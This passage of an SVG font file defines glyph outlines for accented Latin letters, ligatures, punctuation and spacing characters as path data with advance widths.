<glyph unicode="&#xd2;" horiz-adv-x="1595" d="M125 735q0 357 176 553.5t500 196.5q315 0 492 -200t177 -552q0 -351 -177.5 -552t-493.5 -201q-323 0 -498.5 197.5t-175.5 557.5zM305 733q0 -297 126.5 -450.5t367.5 -153.5q243 0 367 153t124 451q0 295 -123.5 447.5t-365.5 152.5q-243 0 -369.5 -153.5 t-126.5 -446.5zM514 1886v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xd3;" horiz-adv-x="1595" d="M125 735q0 357 176 553.5t500 196.5q315 0 492 -200t177 -552q0 -351 -177.5 -552t-493.5 -201q-323 0 -498.5 197.5t-175.5 557.5zM305 733q0 -297 126.5 -450.5t367.5 -153.5q243 0 367 153t124 451q0 295 -123.5 447.5t-365.5 152.5q-243 0 -369.5 -153.5 t-126.5 -446.5zM659 1579v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xd4;" horiz-adv-x="1595" d="M125 735q0 357 176 553.5t500 196.5q315 0 492 -200t177 -552q0 -351 -177.5 -552t-493.5 -201q-323 0 -498.5 197.5t-175.5 557.5zM305 733q0 -297 126.5 -450.5t367.5 -153.5q243 0 367 153t124 451q0 295 -123.5 447.5t-365.5 152.5q-243 0 -369.5 -153.5 t-126.5 -446.5zM448 1579v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#xd5;" horiz-adv-x="1595" d="M125 735q0 357 176 553.5t500 196.5q315 0 492 -200t177 -552q0 -351 -177.5 -552t-493.5 -201q-323 0 -498.5 197.5t-175.5 557.5zM305 733q0 -297 126.5 -450.5t367.5 -153.5q243 0 367 153t124 451q0 295 -123.5 447.5t-365.5 152.5q-243 0 -369.5 -153.5 t-126.5 -446.5zM418 1579q13 121 70.5 189.5t148.5 68.5q46 0 89 -18.5t82 -41t75 -41t68 -18.5q49 0 73 29.5t39 91.5h99q-13 -121 -69.5 -189.5t-150.5 -68.5q-43 0 -84 18.5t-80.5 41t-76 41t-70.5 18.5q-50 0 -75.5 -30t-39.5 -91h-98z" />
<glyph unicode="&#xd6;" horiz-adv-x="1595" d="M125 735q0 357 176 553.5t500 196.5q315 0 492 -200t177 -552q0 -351 -177.5 -552t-493.5 -201q-323 0 -498.5 197.5t-175.5 557.5zM305 733q0 -297 126.5 -450.5t367.5 -153.5q243 0 367 153t124 451q0 295 -123.5 447.5t-365.5 152.5q-243 0 -369.5 -153.5 t-126.5 -446.5zM522 1731q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM903 1731q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xd7;" d="M133 1075l100 101l353 -355l354 355l96 -99l-352 -354l350 -352l-96 -99l-354 351l-348 -351l-101 99l350 352z" />
<glyph unicode="&#xd8;" horiz-adv-x="1595" d="M125 735q0 357 176 553.5t500 196.5q209 0 366 -94l97 135l120 -80l-106 -148q192 -202 192 -565q0 -351 -177.5 -552t-493.5 -201q-235 0 -383 100l-101 -141l-120 79l108 154q-178 198 -178 563zM305 733q0 -262 101 -416l669 943q-106 73 -274 73 q-243 0 -369.5 -153.5t-126.5 -446.5zM508 211q115 -82 291 -82q243 0 367 153t124 451q0 272 -110 426z" />
<glyph unicode="&#xd9;" horiz-adv-x="1491" d="M186 520v942h170v-954q0 -183 100 -281t294 -98q185 0 285 98.5t100 282.5v952h170v-946q0 -250 -151 -393t-415 -143t-408.5 144t-144.5 396zM463 1886v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xda;" horiz-adv-x="1491" d="M186 520v942h170v-954q0 -183 100 -281t294 -98q185 0 285 98.5t100 282.5v952h170v-946q0 -250 -151 -393t-415 -143t-408.5 144t-144.5 396zM600 1579v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xdb;" horiz-adv-x="1491" d="M186 520v942h170v-954q0 -183 100 -281t294 -98q185 0 285 98.5t100 282.5v952h170v-946q0 -250 -151 -393t-415 -143t-408.5 144t-144.5 396zM393 1579v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186 h-115z" />
<glyph unicode="&#xdc;" horiz-adv-x="1491" d="M186 520v942h170v-954q0 -183 100 -281t294 -98q185 0 285 98.5t100 282.5v952h170v-946q0 -250 -151 -393t-415 -143t-408.5 144t-144.5 396zM461 1731q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5z M842 1731q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xdd;" horiz-adv-x="1147" d="M0 1462h186l387 -731l390 731h184l-488 -895v-567h-172v559zM442 1579v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xde;" horiz-adv-x="1251" d="M201 0v1462h170v-256h215q281 0 420 -103.5t139 -318.5q0 -227 -151.5 -346t-438.5 -119h-184v-319h-170zM371 465h168q226 0 327 71.5t101 235.5q0 149 -95 218t-297 69h-204v-594z" />
<glyph unicode="&#xdf;" horiz-adv-x="1274" d="M176 0v1202q0 178 110 271.5t332 93.5q206 0 318.5 -78.5t112.5 -222.5q0 -135 -143 -250q-88 -70 -116 -103.5t-28 -66.5q0 -32 13.5 -53t49 -49.5t113.5 -79.5q140 -95 191 -173.5t51 -179.5q0 -160 -97 -245.5t-276 -85.5q-188 0 -295 69v154q63 -39 141 -62.5 t150 -23.5q215 0 215 182q0 75 -41.5 128.5t-151.5 123.5q-127 82 -175 143.5t-48 145.5q0 63 34.5 116t105.5 106q75 57 107 102t32 98q0 80 -68 122.5t-195 42.5q-276 0 -276 -223v-1204h-166z" />
<glyph unicode="&#xe0;" horiz-adv-x="1139" d="M94 303q0 332 531 348l186 6v68q0 129 -55.5 190.5t-177.5 61.5q-137 0 -310 -84l-51 127q81 44 177.5 69t193.5 25q196 0 290.5 -87t94.5 -279v-748h-123l-33 156h-8q-82 -103 -163.5 -139.5t-203.5 -36.5q-163 0 -255.5 84t-92.5 239zM268 301q0 -90 54.5 -137 t152.5 -47q155 0 243.5 85t88.5 238v99l-166 -7q-198 -7 -285.5 -61.5t-87.5 -169.5zM279 1548v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xe1;" horiz-adv-x="1139" d="M94 303q0 332 531 348l186 6v68q0 129 -55.5 190.5t-177.5 61.5q-137 0 -310 -84l-51 127q81 44 177.5 69t193.5 25q196 0 290.5 -87t94.5 -279v-748h-123l-33 156h-8q-82 -103 -163.5 -139.5t-203.5 -36.5q-163 0 -255.5 84t-92.5 239zM268 301q0 -90 54.5 -137 t152.5 -47q155 0 243.5 85t88.5 238v99l-166 -7q-198 -7 -285.5 -61.5t-87.5 -169.5zM436 1241v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xe2;" horiz-adv-x="1139" d="M94 303q0 332 531 348l186 6v68q0 129 -55.5 190.5t-177.5 61.5q-137 0 -310 -84l-51 127q81 44 177.5 69t193.5 25q196 0 290.5 -87t94.5 -279v-748h-123l-33 156h-8q-82 -103 -163.5 -139.5t-203.5 -36.5q-163 0 -255.5 84t-92.5 239zM268 301q0 -90 54.5 -137 t152.5 -47q155 0 243.5 85t88.5 238v99l-166 -7q-198 -7 -285.5 -61.5t-87.5 -169.5zM228 1241v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#xe3;" horiz-adv-x="1139" d="M94 303q0 332 531 348l186 6v68q0 129 -55.5 190.5t-177.5 61.5q-137 0 -310 -84l-51 127q81 44 177.5 69t193.5 25q196 0 290.5 -87t94.5 -279v-748h-123l-33 156h-8q-82 -103 -163.5 -139.5t-203.5 -36.5q-163 0 -255.5 84t-92.5 239zM268 301q0 -90 54.5 -137 t152.5 -47q155 0 243.5 85t88.5 238v99l-166 -7q-198 -7 -285.5 -61.5t-87.5 -169.5zM197 1241q13 121 70.5 189.5t148.5 68.5q46 0 89 -18.5t82 -41t75 -41t68 -18.5q49 0 73 29.5t39 91.5h99q-13 -121 -69.5 -189.5t-150.5 -68.5q-43 0 -84 18.5t-80.5 41t-76 41 t-70.5 18.5q-50 0 -75.5 -30t-39.5 -91h-98z" />
<glyph unicode="&#xe4;" horiz-adv-x="1139" d="M94 303q0 332 531 348l186 6v68q0 129 -55.5 190.5t-177.5 61.5q-137 0 -310 -84l-51 127q81 44 177.5 69t193.5 25q196 0 290.5 -87t94.5 -279v-748h-123l-33 156h-8q-82 -103 -163.5 -139.5t-203.5 -36.5q-163 0 -255.5 84t-92.5 239zM268 301q0 -90 54.5 -137 t152.5 -47q155 0 243.5 85t88.5 238v99l-166 -7q-198 -7 -285.5 -61.5t-87.5 -169.5zM279 1393q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM660 1393q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75 q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xe5;" horiz-adv-x="1139" d="M94 303q0 332 531 348l186 6v68q0 129 -55.5 190.5t-177.5 61.5q-137 0 -310 -84l-51 127q81 44 177.5 69t193.5 25q196 0 290.5 -87t94.5 -279v-748h-123l-33 156h-8q-82 -103 -163.5 -139.5t-203.5 -36.5q-163 0 -255.5 84t-92.5 239zM268 301q0 -90 54.5 -137 t152.5 -47q155 0 243.5 85t88.5 238v99l-166 -7q-198 -7 -285.5 -61.5t-87.5 -169.5zM358 1456q0 98 60.5 155.5t160.5 57.5q101 0 163 -59.5t62 -151.5q0 -98 -61.5 -157.5t-163.5 -59.5q-101 0 -161 58.5t-60 156.5zM462 1456q0 -56 30 -86.5t87 -30.5q52 0 84.5 30.5 t32.5 86.5t-33 86.5t-84 30.5t-84 -30.5t-33 -86.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="1757" d="M94 303q0 161 124 250.5t378 97.5l184 6v68q0 129 -58 190.5t-177 61.5q-144 0 -307 -84l-52 127q74 41 173.5 67.5t197.5 26.5q130 0 212.5 -43.5t123.5 -138.5q53 88 138.5 136t195.5 48q192 0 308 -133.5t116 -355.5v-107h-701q8 -395 322 -395q91 0 169.5 17.5 t162.5 56.5v-148q-86 -38 -160.5 -54.5t-175.5 -16.5q-289 0 -414 233q-81 -127 -179.5 -180t-232.5 -53q-163 0 -255.5 85t-92.5 238zM268 301q0 -95 53.5 -139.5t141.5 -44.5q145 0 229 84.5t84 238.5v99l-158 -7q-186 -8 -268 -62.5t-82 -168.5zM954 653h519 q0 156 -64 240t-184 84q-121 0 -190.5 -83t-80.5 -241z" />
<glyph unicode="&#xe7;" horiz-adv-x="975" d="M115 541q0 275 132.5 425t377.5 150q79 0 158 -17t124 -40l-51 -141q-55 22 -120 36.5t-115 14.5q-334 0 -334 -426q0 -202 81.5 -310t241.5 -108q137 0 281 59v-147q-110 -57 -277 -57q-238 0 -368.5 146.5t-130.5 414.5zM363 -377q45 -8 104 -8q79 0 119.5 20t40.5 74 q0 43 -39.5 69.5t-148.5 43.5l88 178h110l-55 -115q180 -39 180 -174q0 -97 -76.5 -150t-226.5 -53q-51 0 -96 9v106z" />
<glyph unicode="&#xe8;" horiz-adv-x="1149" d="M115 539q0 265 130.5 421t350.5 156q206 0 326 -135.5t120 -357.5v-105h-755q5 -193 97.5 -293t260.5 -100q177 0 350 74v-148q-88 -38 -166.5 -54.5t-189.5 -16.5q-243 0 -383.5 148t-140.5 411zM291 653h573q0 157 -70 240.5t-200 83.5q-132 0 -210.5 -86t-92.5 -238z M318 1548v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xe9;" horiz-adv-x="1149" d="M115 539q0 265 130.5 421t350.5 156q206 0 326 -135.5t120 -357.5v-105h-755q5 -193 97.5 -293t260.5 -100q177 0 350 74v-148q-88 -38 -166.5 -54.5t-189.5 -16.5q-243 0 -383.5 148t-140.5 411zM291 653h573q0 157 -70 240.5t-200 83.5q-132 0 -210.5 -86t-92.5 -238z M471 1241v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xea;" horiz-adv-x="1149" d="M115 539q0 265 130.5 421t350.5 156q206 0 326 -135.5t120 -357.5v-105h-755q5 -193 97.5 -293t260.5 -100q177 0 350 74v-148q-88 -38 -166.5 -54.5t-189.5 -16.5q-243 0 -383.5 148t-140.5 411zM291 653h573q0 157 -70 240.5t-200 83.5q-132 0 -210.5 -86t-92.5 -238z M259 1241v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#xeb;" horiz-adv-x="1149" d="M115 539q0 265 130.5 421t350.5 156q206 0 326 -135.5t120 -357.5v-105h-755q5 -193 97.5 -293t260.5 -100q177 0 350 74v-148q-88 -38 -166.5 -54.5t-189.5 -16.5q-243 0 -383.5 148t-140.5 411zM291 653h573q0 157 -70 240.5t-200 83.5q-132 0 -210.5 -86t-92.5 -238z M319 1393q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM700 1393q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xec;" horiz-adv-x="518" d="M176 0v1096h166v-1096h-166zM-38 1548v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xed;" horiz-adv-x="518" d="M176 0v1096h166v-1096h-166zM169 1241v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xee;" horiz-adv-x="518" d="M176 0v1096h166v-1096h-166zM-77 1241v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#xef;" horiz-adv-x="518" d="M176 0v1096h166v-1096h-166zM-20 1393q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM361 1393q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xf0;" horiz-adv-x="1221" d="M113 475q0 230 131.5 361t351.5 131q226 0 326 -121l8 4q-57 214 -262 405l-271 -155l-73 108l233 133q-92 62 -186 111l69 117q156 -73 258 -148l238 138l76 -107l-207 -119q152 -143 234.5 -342t82.5 -428q0 -281 -130.5 -432t-377.5 -151q-222 0 -361.5 134.5 t-139.5 360.5zM281 469q0 -167 87.5 -258.5t249.5 -91.5q175 0 255.5 100.5t80.5 292.5q0 147 -90 232t-246 85q-337 0 -337 -360z" />
<glyph unicode="&#xf1;" horiz-adv-x="1257" d="M176 0v1096h135l27 -150h8q51 81 143 125.5t205 44.5q198 0 298 -95.5t100 -305.5v-715h-166v709q0 134 -61 200t-191 66q-172 0 -252 -93t-80 -307v-575h-166zM278 1241q13 121 70.5 189.5t148.5 68.5q46 0 89 -18.5t82 -41t75 -41t68 -18.5q49 0 73 29.5t39 91.5h99 q-13 -121 -69.5 -189.5t-150.5 -68.5q-43 0 -84 18.5t-80.5 41t-76 41t-70.5 18.5q-50 0 -75.5 -30t-39.5 -91h-98z" />
<glyph unicode="&#xf2;" horiz-adv-x="1237" d="M115 549q0 268 134 417.5t372 149.5q230 0 365.5 -153t135.5 -414q0 -268 -135 -418.5t-373 -150.5q-147 0 -261 69t-176 198t-62 302zM287 549q0 -210 84 -320t247 -110t247.5 109.5t84.5 320.5q0 209 -84.5 317.5t-249.5 108.5q-163 0 -246 -107t-83 -319zM349 1548v21 h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xf3;" horiz-adv-x="1237" d="M115 549q0 268 134 417.5t372 149.5q230 0 365.5 -153t135.5 -414q0 -268 -135 -418.5t-373 -150.5q-147 0 -261 69t-176 198t-62 302zM287 549q0 -210 84 -320t247 -110t247.5 109.5t84.5 320.5q0 209 -84.5 317.5t-249.5 108.5q-163 0 -246 -107t-83 -319zM479 1241v25 q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xf4;" horiz-adv-x="1237" d="M115 549q0 268 134 417.5t372 149.5q230 0 365.5 -153t135.5 -414q0 -268 -135 -418.5t-373 -150.5q-147 0 -261 69t-176 198t-62 302zM287 549q0 -210 84 -320t247 -110t247.5 109.5t84.5 320.5q0 209 -84.5 317.5t-249.5 108.5q-163 0 -246 -107t-83 -319zM282 1241v23 q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#xf5;" horiz-adv-x="1237" d="M115 549q0 268 134 417.5t372 149.5q230 0 365.5 -153t135.5 -414q0 -268 -135 -418.5t-373 -150.5q-147 0 -261 69t-176 198t-62 302zM287 549q0 -210 84 -320t247 -110t247.5 109.5t84.5 320.5q0 209 -84.5 317.5t-249.5 108.5q-163 0 -246 -107t-83 -319zM249 1241 q13 121 70.5 189.5t148.5 68.5q46 0 89 -18.5t82 -41t75 -41t68 -18.5q49 0 73 29.5t39 91.5h99q-13 -121 -69.5 -189.5t-150.5 -68.5q-43 0 -84 18.5t-80.5 41t-76 41t-70.5 18.5q-50 0 -75.5 -30t-39.5 -91h-98z" />
<glyph unicode="&#xf6;" horiz-adv-x="1237" d="M115 549q0 268 134 417.5t372 149.5q230 0 365.5 -153t135.5 -414q0 -268 -135 -418.5t-373 -150.5q-147 0 -261 69t-176 198t-62 302zM287 549q0 -210 84 -320t247 -110t247.5 109.5t84.5 320.5q0 209 -84.5 317.5t-249.5 108.5q-163 0 -246 -107t-83 -319zM336 1393 q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM717 1393q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xf7;" d="M104 653v138h961v-138h-961zM471 373q0 60 29.5 90.5t83.5 30.5q52 0 81 -31.5t29 -89.5q0 -57 -29.5 -89t-80.5 -32q-52 0 -82.5 31.5t-30.5 89.5zM471 1071q0 60 29.5 90.5t83.5 30.5q52 0 81 -31.5t29 -89.5q0 -57 -29.5 -89t-80.5 -32q-52 0 -82.5 31.5t-30.5 89.5z " />
<glyph unicode="&#xf8;" horiz-adv-x="1237" d="M115 549q0 268 134 417.5t372 149.5q154 0 270 -76l84 119l117 -76l-97 -133q127 -152 127 -401q0 -268 -135 -418.5t-373 -150.5q-154 0 -266 69l-84 -117l-114 78l94 131q-129 152 -129 408zM287 549q0 -171 53 -273l465 646q-75 53 -189 53q-163 0 -246 -107t-83 -319 zM434 170q71 -51 184 -51q163 0 247.5 109.5t84.5 320.5q0 164 -51 264z" />
<glyph unicode="&#xf9;" horiz-adv-x="1257" d="M164 379v717h168v-711q0 -134 61 -200t191 -66q172 0 251.5 94t79.5 307v576h166v-1096h-137l-24 147h-9q-51 -81 -141.5 -124t-206.5 -43q-200 0 -299.5 95t-99.5 304zM333 1548v21h203q32 -69 89 -159.5t101 -143.5v-25h-110q-65 52 -154 148t-129 159z" />
<glyph unicode="&#xfa;" horiz-adv-x="1257" d="M164 379v717h168v-711q0 -134 61 -200t191 -66q172 0 251.5 94t79.5 307v576h166v-1096h-137l-24 147h-9q-51 -81 -141.5 -124t-206.5 -43q-200 0 -299.5 95t-99.5 304zM506 1241v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111z" />
<glyph unicode="&#xfb;" horiz-adv-x="1257" d="M164 379v717h168v-711q0 -134 61 -200t191 -66q172 0 251.5 94t79.5 307v576h166v-1096h-137l-24 147h-9q-51 -81 -141.5 -124t-206.5 -43q-200 0 -299.5 95t-99.5 304zM286 1241v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119 q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#xfc;" horiz-adv-x="1257" d="M164 379v717h168v-711q0 -134 61 -200t191 -66q172 0 251.5 94t79.5 307v576h166v-1096h-137l-24 147h-9q-51 -81 -141.5 -124t-206.5 -43q-200 0 -299.5 95t-99.5 304zM342 1393q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5 q-37 0 -63.5 24.5t-26.5 74.5zM723 1393q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#xfd;" horiz-adv-x="1032" d="M2 1096h178l240 -625q79 -214 98 -309h8q13 51 54.5 174.5t271.5 759.5h178l-471 -1248q-70 -185 -163.5 -262.5t-229.5 -77.5q-76 0 -150 17v133q55 -12 123 -12q171 0 244 192l61 156zM411 1241v25q48 62 103.5 150t87.5 153h202v-21q-44 -65 -131 -160t-151 -147h-111 z" />
<glyph unicode="&#xfe;" horiz-adv-x="1255" d="M176 -492v2048h166v-466q0 -52 -6 -142h8q66 89 151 128.5t191 39.5q215 0 335 -150t120 -417q0 -268 -120.5 -418.5t-334.5 -150.5q-222 0 -344 161h-12l4 -34q8 -77 8 -140v-459h-166zM342 549q0 -231 77 -330.5t247 -99.5q303 0 303 432q0 215 -74 319.5t-231 104.5 q-168 0 -244 -92t-78 -293v-41z" />
<glyph unicode="&#xff;" horiz-adv-x="1032" d="M2 1096h178l240 -625q79 -214 98 -309h8q13 51 54.5 174.5t271.5 759.5h178l-471 -1248q-70 -185 -163.5 -262.5t-229.5 -77.5q-76 0 -150 17v133q55 -12 123 -12q171 0 244 192l61 156zM234 1393q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5 t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM615 1393q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#x131;" horiz-adv-x="518" d="M176 0v1096h166v-1096h-166z" />
<glyph unicode="&#x152;" horiz-adv-x="1890" d="M125 735q0 360 174 555t494 195q102 0 192 -23h782v-151h-589v-471h551v-150h-551v-538h589v-152h-768q-102 -20 -194 -20q-327 0 -503.5 196.5t-176.5 558.5zM305 733q0 -297 128.5 -450.5t375.5 -153.5q112 0 199 33v1141q-87 30 -197 30q-249 0 -377.5 -152.5 t-128.5 -447.5z" />
<glyph unicode="&#x153;" horiz-adv-x="1929" d="M113 549q0 265 131 415t366 150q131 0 233.5 -59.5t164.5 -173.5q58 112 154 172.5t222 60.5q201 0 320 -132.5t119 -358.5v-105h-729q8 -393 338 -393q94 0 174.5 17.5t167.5 56.5v-148q-88 -39 -164 -55t-180 -16q-293 0 -418 235q-62 -116 -166.5 -175.5t-241.5 -59.5 q-223 0 -357 152.5t-134 416.5zM287 549q0 -211 76 -320.5t243 -109.5q163 0 239.5 106.5t76.5 315.5q0 221 -77.5 327.5t-242.5 106.5q-166 0 -240.5 -108t-74.5 -318zM1098 653h544q0 158 -66 240t-194 82q-127 0 -199.5 -82t-84.5 -240z" />
<glyph unicode="&#x178;" horiz-adv-x="1147" d="M0 1462h186l387 -731l390 731h184l-488 -895v-567h-172v559zM294 1731q0 52 26.5 75t63.5 23q38 0 65.5 -23t27.5 -75q0 -50 -27.5 -74.5t-65.5 -24.5q-37 0 -63.5 24.5t-26.5 74.5zM675 1731q0 52 26.5 75t63.5 23t64.5 -23t27.5 -75q0 -50 -27.5 -74.5t-64.5 -24.5 t-63.5 24.5t-26.5 74.5z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1212" d="M268 1241v23q127 136 178 200t74 105h166q22 -42 76.5 -108.5t179.5 -196.5v-23h-119q-88 55 -221 186q-136 -134 -219 -186h-115z" />
<glyph unicode="&#x2da;" horiz-adv-x="1182" d="M367 1456q0 98 60.5 155.5t160.5 57.5q101 0 163 -59.5t62 -151.5q0 -98 -61.5 -157.5t-163.5 -59.5q-101 0 -161 58.5t-60 156.5zM471 1456q0 -56 30 -86.5t87 -30.5q52 0 84.5 30.5t32.5 86.5t-33 86.5t-84 30.5t-84 -30.5t-33 -86.5z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1212" d="M264 1241q13 121 70.5 189.5t148.5 68.5q46 0 89 -18.5t82 -41t75 -41t68 -18.5q49 0 73 29.5t39 91.5h99q-13 -121 -69.5 -189.5t-150.5 -68.5q-43 0 -84 18.5t-80.5 41t-76 41t-70.5 18.5q-50 0 -75.5 -30t-39.5 -91h-98z" />
<glyph unicode="&#x2000;" horiz-adv-x="953" />
<glyph unicode="&#x2001;" horiz-adv-x="1907" />
<glyph unicode="&#x2002;" horiz-adv-x="953" />
<glyph unicode="&#x2003;" horiz-adv-x="1907" />
<glyph unicode="&#x2004;" horiz-adv-x="635" />
<glyph unicode="&#x2005;" horiz-adv-x="476" />
<glyph unicode="&#x2006;" horiz-adv-x="317" />
<glyph unicode="&#x2007;" horiz-adv-x="317" />
<glyph unicode="&#x2008;" horiz-adv-x="238" />
<glyph unicode="&#x2009;" horiz-adv-x="381" />
<glyph unicode="&#x200a;" horiz-adv-x="105" />
<glyph unicode="&#x2010;" horiz-adv-x="659" d="M84 473v152h491v-152h-491z" />
<glyph unicode="&#x2011;" horiz-adv-x="659" d="M84 473v152h491v-152h-491z" />
<glyph unicode="&#x2012;" horiz-adv-x="659" d="M84 473v152h491v-152h-491z" />
<glyph unicode="&#x2013;" horiz-adv-x="1024" d="M82 473v152h860v-152h-860z" />
<glyph unicode="&#x2014;" horiz-adv-x="2048" d="M82 473v152h1884v-152h-1884z" />
<glyph unicode="&#x2018;" horiz-adv-x="348" d="M25 983q22 90 71 224t105 255h123q-66 -254 -103 -501h-184z" />
<glyph unicode="&#x2019;" horiz-adv-x="348" d="M25 961q70 285 102 501h182l15 -22q-26 -100 -75 -232.5t-102 -246.5h-122z" />
<glyph unicode="&#x201a;" horiz-adv-x="502" d="M63 -264q27 104 59.5 257t45.5 245h182l15 -23q-26 -100 -75 -232.5t-102 -246.5h-125z" />
<glyph unicode="&#x201c;" horiz-adv-x="717" d="M25 983q22 90 71 224t105 255h123q-66 -254 -103 -501h-184zM391 983q56 215 178 479h123q-30 -115 -59.5 -259.5t-42.5 -241.5h-184z" />
<glyph unicode="&#x201d;" horiz-adv-x="717" d="M25 961q70 285 102 501h182l15 -22q-26 -100 -75 -232.5t-102 -246.5h-122zM391 961q26 100 59 254t46 247h182l14 -22q-24 -91 -72 -224t-104 -255h-125z" />
<glyph unicode="&#x201e;" horiz-adv-x="829" d="M25 -263q70 285 102 501h182l15 -22q-26 -100 -75 -232.5t-102 -246.5h-122zM391 -263q26 100 59 254t46 247h182l14 -22q-24 -91 -72 -224t-104 -255h-125z" />
<glyph unicode="&#x2022;" horiz-adv-x="770" d="M164 748q0 121 56.5 184t164.5 63q105 0 163 -62t58 -185q0 -119 -57.5 -183.5t-163.5 -64.5q-107 0 -164 65.5t-57 182.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1606" d="M152 106q0 67 30.5 101.5t87.5 34.5q58 0 90.5 -34.5t32.5 -101.5q0 -65 -33 -100t-90 -35q-51 0 -84.5 31.5t-33.5 103.5zM682 106q0 67 30.5 101.5t87.5 34.5q58 0 90.5 -34.5t32.5 -101.5q0 -65 -33 -100t-90 -35q-51 0 -84.5 31.5t-33.5 103.5zM1213 106 q0 67 30.5 101.5t87.5 34.5q58 0 90.5 -34.5t32.5 -101.5q0 -65 -33 -100t-90 -35q-51 0 -84.5 31.5t-33.5 103.5z" />
<glyph unicode="&#x202f;" horiz-adv-x="381" />
<glyph unicode="&#x2039;" horiz-adv-x="623" d="M82 524v27l342 407l119 -69l-289 -350l289 -351l-119 -71z" />
<glyph unicode="&#x203a;" horiz-adv-x="623" d="M80 188l287 351l-287 350l117 69l344 -407v-27l-344 -407z" />
<glyph unicode="&#x2044;" horiz-adv-x="266" d="M-391 0l903 1462h143l-903 -1462h-143z" />
<glyph unicode="&#x205f;" horiz-adv-x="476" />
<glyph unicode="&#x2074;" horiz-adv-x="711" d="M20 788v101l408 579h139v-563h125v-117h-125v-202h-145v202h-402zM160 905h262v195q0 134 6 209q-5 -12 -17 -31.5t-27 -41.5l-30 -46q-15 -22 -26 -39z" />
